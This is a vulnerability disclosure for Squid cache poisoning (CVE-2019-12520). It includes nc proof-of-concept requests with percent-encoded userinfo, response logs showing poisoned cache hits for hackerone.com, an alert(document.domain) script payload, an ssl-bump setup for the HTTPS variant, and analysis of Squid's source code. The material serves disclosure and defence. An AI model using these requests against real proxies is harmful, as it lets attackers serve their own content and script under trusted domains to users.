An attacker can cause Squid to return to the user attacker controlled data, for any domain. From Squid-4.7 and below both HTTPS and FTP could be poisoned. This is due to Squid URL decoding parts of the Request URL and using that to create a hash. Request that decode to the same URL will retrieve the same cached response even if they’re from different domains.
The fix for CVE-2019-12524 removed the HTTPS aspect of it, but FTP poisoning was still possible till Squid-4.10.
<= Squid-4.9 Vulnerable
<= Squid-4.7 Can also poison HTTPS was reduced to just FTP
Assigned CVE-2019-12520
No Announce was officially made by Squid, and was silently fixed with Squid-4.10. This was going to be announced with http://www.squid-cache.org/Advisories/SQUID-2019_4.txt, but never got published when I demonstrated their patch was incomplete at the time.
Fixed in Squid-4.10
ftp_server.py 8080 8081
echo -e "GET ftp://hackerone.com%2f%[email protected]:8080/payload HTTP/1.1\r\n\r\n" |nc <squid hostname> 3128
nc: using stream socket
HTTP/1.1 200 Gatewaying
Server: squid/4.9
Mime-Version: 1.0
Date: Thu, 19 Mar 2020 15:57:04 GMT
Content-Type: text/plain
Last-Modified: Wed, 27 Mar 2019 19:14:54 GMT
Age: 79
X-Cache: HIT from g64
Transfer-Encoding: chunked
Via: 1.1 g64 (squid/4.9)
Connection: keep-alive
23
Hello! This is from my ftp server.
0
The FTP server should have output similar to
<- 150 Here comes data
Passive Connection from: ('192.168.122.97', 51647)
<- Hello! This is from my ftp server.
<- 226 Data sent
-> QUIT
echo -e "GET ftp://hackerone.com/[email protected]:8080/payload HTTP/1.1\r\n\r\n" |nc <squid hostname> 3128
nc: using stream socket
HTTP/1.1 200 Gatewaying
Server: squid/4.9
Mime-Version: 1.0
Date: Thu, 19 Mar 2020 15:57:04 GMT
Content-Type: text/plain
Last-Modified: Wed, 27 Mar 2019 19:14:54 GMT
Age: 249
X-Cache: HIT from g64
Transfer-Encoding: chunked
Via: 1.1 g64 (squid/4.9)
Connection: keep-alive
23
Hello! This is from my ftp server.
0
You will get the output from the cached response instead of the real response from hackerone.com or whichever domain you’re poisoning
To repro the HTTPS poisoning you need to configure Squid to cache SSL request. This involves generating a root cert, and inserting some config options. https://wiki.squid-cache.org/Features/DynamicSslCert Has steps on how to achieve this. Below is what I added to my config. You will need to change the prefixes to match your system.
Replace the existing http_port 3128 entry with the following:
http_port 3128 ssl-bump \
generate-host-certificates=on dynamic_cert_mem_cache_size=4MB \
cert=/home/j1/h4x/squid/certs/myCA.pem
sslcrtd_program /home/j1/h4x/squid/ship/squid-4.7/libexec/security_file_certgen -s /home/j1/h4x/squid/ship/squid-4.7/var/lib/ssl_db -M 4MB
If your test certs aren’t valid (self signed for testing) you need to add the following directive in the config.
sslproxy_cert_error allow all
Finally you’ll need to initalize the SSL DB that you’ve told Squid to use. This is the -s option in sslcrtd_program
./libexec/security_file_certgen ./var/lib/ssl_db -c -s ./var/lib/ssl_db -M 4MB
You’re also going to need a server with SSL that you can control the headers on.
You have to send the following header so that Squid will cache your response.
Cache-Control: public, immutable, max-age=31536000
Once you’ve done that you’re ready to repo HTTPS poisoning which is essentially the same as our FTP Poisoning.
./sbin/squid
start you SSL Server
Make a poison request
echo -e "GET https://hackerone.com%2f%[email protected]:8080/html/alert.html HTTP/1.1\r\n\r\n" |nc <squid hostname> 3128
nc: using stream socket
HTTP/1.1 200 OK
Server: SimpleHTTP/0.6 Python/3.6.10
Date: Thu, 19 Mar 2020 16:17:46 GMT
Content-Type: text/html
Content-Length: 74
Last-Modified: Mon, 22 Apr 2019 23:18:08 GMT
Cache-Control: public, immutable, max-age=31536000
X-Cache: MISS from g64
Via: 1.1 g64 (squid/4.7)
Connection: keep-alive
<html>
<body>
<script>alert(document.domain)</script>
</body>
</html>
echo -e "GET https://hackerone.com/[email protected]:8080/html/alert.html HTTP/1.1\r\n\r\n" |nc <squid hostname> 3128
nc: using stream socket
HTTP/1.1 200 OK
Server: SimpleHTTP/0.6 Python/3.6.10
Date: Thu, 19 Mar 2020 16:17:46 GMT
Content-Type: text/html
Content-Length: 74
Last-Modified: Mon, 22 Apr 2019 23:18:08 GMT
Cache-Control: public, immutable, max-age=31536000
Age: 334
X-Cache: HIT from g64
Via: 1.1 g64 (squid/4.7)
Connection: keep-alive
<html>
<body>
<script>alert(document.domain)</script>
</body>
</html>
When making a request Squid will check its cache to see if it has a response
that it can serve up. When squid determines that a reply can be cached it uses
a combination of METHOD, absolute URL, and possible vary headers to form a
MD5 hash.
This takes place in storeKeyPUblicByRequestMethod
SquidMD5Update(&M, &m, sizeof(m));
SquidMD5Update(&M, (unsigned char *) url.rawContent(), url.length());
Similar to the ACL Bypass vuln I reported earlier this abuses that the userInfo is decoded and is stored as part of the url. So when url is used to update the hash it’s using a decoded string
effectiveRequestUri() will return url.absolute() for methods that aren't
CONNECT and schemes that aren't PROTO_AUTHORITY_FORM
Looking at Uri::absolute we see that the userInfo is included into the
absolute uri representation if the protocol is HTTPS
const bool omitUserInfo = getScheme() == AnyP::PROTO_HTTP ||
getScheme() != AnyP::PROTO_HTTPS ||
userInfo().isEmpty();
if (!omitUserInfo) {
absolute_.append(userInfo());
absolute_.append("@", 1);
}
userInfo is set in Uri::parse if the foundHost contains a @ that
the userinfo is extracted and then decoded.
t = strrchr(foundHost, '@');
if (t != NULL) {
strncpy((char *) login, (char *) foundHost, sizeof(login)-1);
login[sizeof(login)-1] = '\0';
t = strrchr(login, '@');
*t = 0;
strncpy((char *) foundHost, t + 1, sizeof(foundHost)-1);
foundHost[sizeof(foundHost)-1] = '\0';
// Bug 4498: URL-unescape the login info after extraction
rfc1738_unescape(login);
}
This is eventually stored in userInfo when calling parseFinish
parseFinish(protocol, proto, urlpath, foundHost, SBuf(login), foundPort);
This userInfo is the decoded version, therefore special tokens such as ? # /
are possible entries in the userInfo.
It’s possible to have a cache entry for one domain, be used for another
domain. Leading to possible HTML/JS execution in a target domain. The
requirement being that it must have the HTTPS protocol.
This can lead to Squid serving the wrong
Reply as multiple request from different domains can look similar.
Take for example the following:
https://squid-cache.org%2F%[email protected]:8080/
The reply from 192.168.1.23 would decode to
https://squid-cache.org/[email protected]:8080/
And the reply would be stored
Now if a real request for squid-cache.org came in with a similar URL
https://[email protected]:8080/
The cached reply would be served, and any scripts that were returned by
the original request would now be running in squid-cache.org context.
Attacker can poison the Cache causing users to receive attacker controlled data when going to a trusted domain.
Squid-4.9 And below allows an attacker to poison FTP responses, a user could download attacker controlled data thinking it came from a legitiment source.
<= Squid-4.7 Can also poison HTTPS allowing attacker controlled content to run in another domain.
These both require a user to visit a specially crafted URL.